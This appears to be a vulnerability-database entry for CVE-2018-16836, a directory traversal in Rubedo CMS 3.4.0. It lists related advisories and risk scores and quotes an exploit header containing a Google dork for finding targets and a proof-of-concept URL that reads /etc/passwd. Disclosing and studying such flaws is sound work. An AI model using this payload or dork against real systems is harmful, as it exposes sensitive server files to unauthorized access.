Rubedo CMS 3.4.0 - Directory Traversal

🗓️ 12 Sep 2018 00:00:00Reported by Marouene BoubakriType

Vulnerability in Rubedo CMS 3.4.0 - Directory Traversal allows remote attackers to read sensitive file

Reporter	Title	Published	Views	Family All 13
0day.today	Rubedo CMS 3.4.0 - Directory Traversal Vulnerability	16 Sep 201800:00	–	zdt
Circl	CVE-2018-16836	16 Sep 201814:19	–	circl
CNVD	Rubedo Directory Traversal Vulnerability	20 Sep 201800:00	–	cnvd
CVE	CVE-2018-16836	11 Sep 201816:00	–	cve
Cvelist	CVE-2018-16836	11 Sep 201816:00	–	cvelist
exploitpack	Rubedo CMS 3.4.0 - Directory Traversal	12 Sep 201800:00	–	exploitpack
Nuclei	Rubedo CMS <=3.4.0 - Directory Traversal	6 Jun 202603:01	–	nuclei
NVD	CVE-2018-16836	11 Sep 201816:29	–	nvd
OpenVAS	Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check	22 Jul 202100:00	–	openvas
Packet Storm	Rubedo CMS 3.4.0 Directory Traversal	13 Sep 201800:00	–	packetstorm

# Exploit Title: Rubedo CMS 3.4.0 - Directory Traversal
# Google Dork: intext:rubedo.current.page.description
# Date: 2018-09-11
# Exploit Author: Marouene Boubakri
# Vendor Homepage: https://www.rubedo-project.org
# Version: through 3.4.0
# Tested on: Linux
# CVE : CVE-2018-16836

# PoC:
# Read /etc/passwd file from remote server

/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd'

12 Sep 2018 00:00Current

9.6High risk

Vulners AI Score9.6

CVSS 27.5

CVSS 3.19.8

EPSS0.91196